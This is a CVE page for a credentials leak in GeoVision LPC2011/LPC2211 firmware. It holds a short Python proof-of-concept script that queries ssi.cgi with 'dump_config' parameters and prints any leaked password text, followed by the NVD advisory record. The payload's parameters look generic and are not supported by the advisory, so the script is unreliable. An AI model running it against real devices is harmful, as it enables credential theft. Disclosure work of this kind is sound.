CVE-2026-42367

import requests # PoC for CVE-2026-42367: GeoVision ssi.cgi Credentials Leak # This script demonstrates how a crafted request can trigger the leak. target = "http://<TARGET_IP>/ssi.cgi" # Malicious payload designed to trigger information disclosure params = { "cmd": "dump_config", "type": "admin" } headers = { "User-Agent": "Mozilla/5.0 (Compatible; CVE-2026-42367-Scanner)" } try: print("[+] Sending payload to %s..." % target) response = requests.get(target, params=params, headers=headers, timeout=5) if response.status_code == 200: print("[+] Request successful. Checking response...") if "password" in response.text or "admin" in response.text: print("[!] Potential credential leak detected:") print(response.text[:200]) # Print first 200 chars else: print("[-] Leak not triggered or patched.") else: print("[-] Server returned status code: %d" % response.status_code) except Exception as e: print("[-] Error occurred: %s" % str(e))

{"cve": {"id": "CVE-2026-42367", "sourceIdentifier": "0df08a0e-a200-4957-9bb0-084f562506f9", "published": "2026-05-04T01:16:03.890", "lastModified": "2026-05-05T02:45:01.993", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A privilege escalation vulnerability exists in the Web Interface / ssi.cgi functionality of GeoVision LPC2011/LPC2211 1.10. A specially crafted HTTP request can lead to credentials leak. An attacker can visit a webpage to trigger this vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "0df08a0e-a200-4957-9bb0-084f562506f9", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "0df08a0e-a200-4957-9bb0-084f562506f9", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-522"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:geovision:gv-lpc2011_firmware:1.10:*:*:*:*:*:*:*", "matchCriteriaId": "C1E349A9-4EEF-40B6-89A0-86242C2ADBC5"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:geovision:gv-lpc2011:-:*:*:*:*:*:*:*", "matchCriteriaId": "87CE78D0-0894-451F-9A70-4F2A8062EC8A"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:geovision:gv-lpc2211_firmware:1.10:*:*:*:*:*:*:*", "matchCriteriaId": "0F3B818E-22D3-400A-AF2C-DEA66280464A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:geovision:gv-lpc2211:-:*:*:*:*:*:*:*", "matchCriteriaId": "59F15521-B4F3-4CCA-8C03-0A4EA2864C6E"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/", "source": "0df08a0e-a200-4957-9bb0-084f562506f9", "tags": ["Third Party Advisory"]}, {"url": "https://www.geovision.com.tw/cyber_security.php", "source": "0df08a0e-a200-4957-9bb0-084f562506f9", "tags": ["Vendor Advisory"]}]}}